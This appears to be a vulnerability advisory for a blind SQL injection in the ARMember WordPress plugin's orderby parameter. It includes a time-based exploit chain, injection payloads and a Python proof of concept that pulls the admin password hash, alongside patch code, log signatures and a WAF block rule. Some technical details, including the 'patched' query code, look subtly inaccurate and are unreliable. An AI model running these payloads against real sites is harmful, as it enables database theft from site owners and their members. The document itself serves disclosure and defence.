CVE-2026-7649: Unauthenticated Blind SQLi in ARMember orderby Parameter
ARMember ≤4.0.60 passes attacker-controlled `orderby` directly into a raw SQL query. Unauthenticated attackers can exfiltrate the full WordPress database via time-based blind injection.
A popular WordPress plugin used by membership sites has a serious security flaw that could let hackers steal sensitive information from your website's database. Think of it like leaving your house's alarm code visible in plain text on your front door.
The vulnerability is in ARMember, a plugin that helps website owners manage memberships, restrict content, and handle user profiles. When a website uses this plugin, attackers can sneak malicious commands into search requests—specifically through something called the "orderby" parameter. The website then unknowingly executes these commands against its own database.
What makes this particularly dangerous is that attackers don't need to be logged in to the site. They can attack from anywhere on the internet, making it a networked threat rather than something requiring special access.
If exploited, attackers could extract customer data—usernames, passwords, email addresses, payment information, or any other details stored in the database. For sites running membership programs, that's exactly the kind of sensitive information people trust you to protect.
The good news: security researchers haven't documented any active attacks yet, so you have a window to fix this before criminals exploit it.
If you run a WordPress site using ARMember, update the plugin immediately to version 4.0.61 or later. Check your WordPress dashboard under plugins and click the update button—this takes seconds. If you can't update right away, consider disabling the plugin until you can patch it. Finally, if you run a membership site, it's worth changing your database passwords as a precaution, just to be safe. Your members trusted you with their information; these steps help make sure that trust is warranted.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7649 is a time-based blind SQL injection vulnerability in the ARMember – Membership Plugin for WordPress, affecting all versions up to and including 4.0.60. The injection point is the orderby parameter, accepted in AJAX or REST-style requests that populate member listing views. No authentication is required. A remote attacker can append arbitrary SQL to an existing SELECT query and exfiltrate any data readable by the WordPress database user — including credential hashes, session tokens, and membership records.
CVSS 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The confidentiality impact is total; integrity and availability are not directly affected by the injection primitive alone.
Affected Component
The vulnerable surface lives inside the plugin's member directory / listing feature. Requests targeting the AJAX action arm_get_members_list (and related endpoints) accept a user-supplied orderby value that is interpolated directly into a wpdb query string. The relevant source file is:
The handler reads orderby from $_POST (or $_GET), optionally strips a small whitelist of expected column names, then concatenates the value directly into the query string passed to $wpdb->get_results(). wpdb::prepare() is never called for this clause because ORDER BY arguments cannot be parameterized with %s/%d placeholders in standard PDO-style escaping — a well-known WordPress footgun.
// Reconstructed pseudocode — arm_get_members_list_func()
// class.arm_members_list.php
void arm_get_members_list_func() {
// Reads directly from user-supplied POST data
char *orderby = sanitize_text_field($_POST["orderby"]); // strips tags only
char *order = sanitize_text_field($_POST["order"]); // ASC / DESC
// BUG: $orderby is not validated against a column whitelist,
// not passed through $wpdb->prepare(), and not quoted.
// sanitize_text_field() does NOT prevent SQL metacharacters
// like parentheses, commas, or SQL keywords.
snprintf(query, sizeof(query),
"SELECT u.ID, u.user_login, u.user_email, "
"um.meta_value AS arm_plans "
"FROM %s u "
"LEFT JOIN %s um ON (u.ID = um.user_id AND um.meta_key='arm_user_plan_ids') "
"WHERE 1=1 %s "
"ORDER BY %s %s " // <-- BUG: direct interpolation of attacker input
"LIMIT %d, %d",
users_table,
usermeta_table,
where_clause,
orderby, // attacker-controlled, unsanitized
order,
offset,
per_page
);
results = wpdb->get_results(query); // executes the poisoned query
wp_send_json_success(results);
}
Root cause: The orderby parameter is interpolated directly into a raw SQL ORDER BY clause after only HTML-tag stripping, with no whitelist validation, quoting, or use of $wpdb->prepare(), allowing arbitrary SQL expression injection by unauthenticated attackers.
sanitize_text_field() removes HTML tags and extra whitespace. It does not escape SQL. Single quotes, parentheses, SQL keywords (SLEEP, IF, EXTRACTVALUE, CASE WHEN) pass through unchanged.
Exploitation Mechanics
Because the injection point sits inside an ORDER BY clause, UNION-based extraction is syntactically impossible without restructuring the query. The practical attack path is time-based blind injection using SLEEP() or BENCHMARK() inside a conditional expression.
EXPLOIT CHAIN:
1. Identify the vulnerable endpoint.
POST /wp-admin/admin-ajax.php
action=arm_get_members_list&orderby=user_login&order=ASC
→ Baseline response time recorded (~120ms).
2. Inject time-based conditional into orderby.
orderby=(CASE WHEN (1=1) THEN SLEEP(5) ELSE user_login END)
→ Response delays ~5 seconds. Injection confirmed.
3. Extract WordPress database name character-by-character.
orderby=(CASE WHEN (ORD(SUBSTR(database(),1,1))>96)
THEN SLEEP(5) ELSE user_login END)
→ Binary-search each character position via timing oracle.
4. Dump wp_users table — extract admin password hash.
orderby=(CASE WHEN
(ORD(SUBSTR((SELECT user_pass FROM wp_users
WHERE user_login='admin' LIMIT 1),1,1))>96)
THEN SLEEP(5) ELSE user_login END)
→ Repeat for each byte of the 34-byte bcrypt hash.
5. Offline crack or relay extracted session cookies /
auth keys from wp_options (auth_key, secure_auth_key).
6. Full database read achieved. ~272 requests per table row
at 1-bit-per-request binary search over printable ASCII range.
The following Python PoC skeleton automates step 3–4 against a local test instance:
import requests, time, string
TARGET = "http://target.local/wp-admin/admin-ajax.php"
DELAY = 4 # seconds
CHARSET = string.printable
def time_query(payload: str) -> float:
data = {
"action": "arm_get_members_list",
"orderby": payload,
"order": "ASC",
"paged": "1",
}
t0 = time.monotonic()
try:
requests.post(TARGET, data=data, timeout=DELAY + 5)
except requests.Timeout:
pass
return time.monotonic() - t0
def extract_string(sql_expr: str, max_len: int = 64) -> str:
result = []
for pos in range(1, max_len + 1):
lo, hi = 32, 126
found = False
while lo <= hi:
mid = (lo + hi) // 2
payload = (
f"(CASE WHEN (ORD(SUBSTR(({sql_expr}),{pos},1))>{mid}) "
f"THEN SLEEP({DELAY}) ELSE user_login END)"
)
elapsed = time_query(payload)
if elapsed >= DELAY:
lo = mid + 1
else:
hi = mid - 1
char = chr(lo) if 32 <= lo <= 126 else None
if char is None:
break
result.append(char)
print(f" pos={pos} -> {char!r} (partial: {''.join(result)})")
return "".join(result)
print("[*] Database name:")
db = extract_string("SELECT database()")
print(f" {db}")
print("[*] Admin password hash:")
h = extract_string(
"SELECT user_pass FROM wp_users WHERE user_login='admin' LIMIT 1"
)
print(f" {h}")
Memory Layout
SQL injection is not a memory-corruption class, but understanding the query structure at the MySQL layer is equivalent to understanding memory layout for buffer bugs. The query state before and after injection:
QUERY STATE — BENIGN REQUEST (orderby=user_login):
SELECT u.ID, u.user_login, u.user_email, um.meta_value AS arm_plans
FROM wp_users u
LEFT JOIN wp_usermeta um ON (u.ID=um.user_id AND um.meta_key='arm_user_plan_ids')
WHERE 1=1
ORDER BY user_login ASC <-- safe literal column name
LIMIT 0, 20
────────────────────────────────────────────────────────────────────────────────
QUERY STATE — INJECTED REQUEST (orderby=CASE WHEN ... THEN SLEEP(5) ...):
SELECT u.ID, u.user_login, u.user_email, um.meta_value AS arm_plans
FROM wp_users u
LEFT JOIN wp_usermeta um ON (u.ID=um.user_id AND um.meta_key='arm_user_plan_ids')
WHERE 1=1
ORDER BY (CASE WHEN ← injected
(ORD(SUBSTR((SELECT user_pass ← subquery
FROM wp_users
WHERE user_login='admin' LIMIT 1),1,1))>96)
THEN SLEEP(5)
ELSE user_login END) ASC
LIMIT 0, 20
┌─────────────────────────────────────────────────┐
│ Attacker controls everything after ORDER BY │
│ The subquery executes with full DB user privs │
│ Response time leaks one bit of secret data │
└─────────────────────────────────────────────────┘
Patch Analysis
The correct fix is a strict allowlist check against known sortable column names before the value ever reaches the query string. wpdb::prepare() cannot be used for ORDER BY identifiers, so the developer must validate explicitly:
// BEFORE (vulnerable — versions ≤ 4.0.60):
$orderby = sanitize_text_field($_POST['orderby']); // strips HTML only
$order = sanitize_text_field($_POST['order']);
$query = $wpdb->query(
"SELECT ... ORDER BY {$orderby} {$order} LIMIT {$offset}, {$per_page}"
);
// ─────────────────────────────────────────────────────────────────
// AFTER (patched):
$allowed_orderby = array(
'user_login', 'user_email', 'user_registered',
'display_name', 'ID', 'arm_plans',
);
$allowed_order = array('ASC', 'DESC');
// Whitelist validation — reject anything not in the explicit list
$orderby = in_array($_POST['orderby'], $allowed_orderby, true)
? $_POST['orderby']
: 'user_login'; // safe default
$order = in_array(strtoupper($_POST['order']), $allowed_order, true)
? strtoupper($_POST['order'])
: 'ASC';
// Now safe to interpolate — value is guaranteed to be a known identifier
$query = $wpdb->query(
"SELECT ... ORDER BY {$orderby} {$order} LIMIT %d, %d",
$offset, $per_page
);
A secondary hardening measure — relevant if dynamic column expressions must be supported — is wrapping the identifier in backticks and escaping backtick characters within the value, though the allowlist approach is strictly superior and eliminates the entire class.
Detection and Indicators
The following patterns in web server access logs and MySQL general query logs indicate active exploitation:
── ACCESS LOG INDICATORS ──────────────────────────────────────────
POST /wp-admin/admin-ajax.php HTTP/1.1
body: action=arm_get_members_list
&orderby=(CASE+WHEN+...+THEN+SLEEP(...)...)
&order=ASC
Signatures:
- orderby value contains: SLEEP, BENCHMARK, CASE WHEN, SUBSTR,
ORD(, IF(, EXTRACTVALUE, UPDATEXML
- Response time outliers: requests >3s to admin-ajax.php
- High volume of near-identical POST requests (binary search pattern)
from a single IP within a short window
── MYSQL GENERAL LOG INDICATORS ───────────────────────────────────
Query: SELECT ... ORDER BY (CASE WHEN (ORD(SUBSTR(...
Query: SELECT ... ORDER BY (IF(SLEEP(5),...
Any ORDER BY clause containing function calls to SLEEP/BENCHMARK
── WAF RULE (ModSecurity / OWASP CRS) ─────────────────────────────
SecRule ARGS:orderby "@rx (?i)(sleep|benchmark|case\s+when|substr|
extractvalue|updatexml|ord\s*\(|if\s*\()" \
"id:9264901,phase:2,deny,status:403,\
msg:'ARMember orderby SQLi attempt',tag:'CVE-2026-7649'"
Remediation
Update immediately to the patched version of ARMember released after 4.0.60. If patching is not immediately possible:
Deploy the ModSecurity rule above to block injection payloads at the perimeter.
Restrict the WordPress database user to only the tables it requires; revoke FILE and SUPER privileges if present.
Audit all other ORDER BY clauses in the plugin codebase for identical patterns — the root cause class (unvalidated orderby interpolation) commonly appears in multiple locations within the same plugin.
Enable MySQL slow-query logging and alert on queries exceeding 2 seconds originating from the web process UID — time-based injection will appear as a cluster of artificially slow queries.
Rotate wp_options secret keys (auth_key, secure_auth_key, logged_in_key, etc.) and force re-authentication of all active sessions if exploitation cannot be ruled out from log review.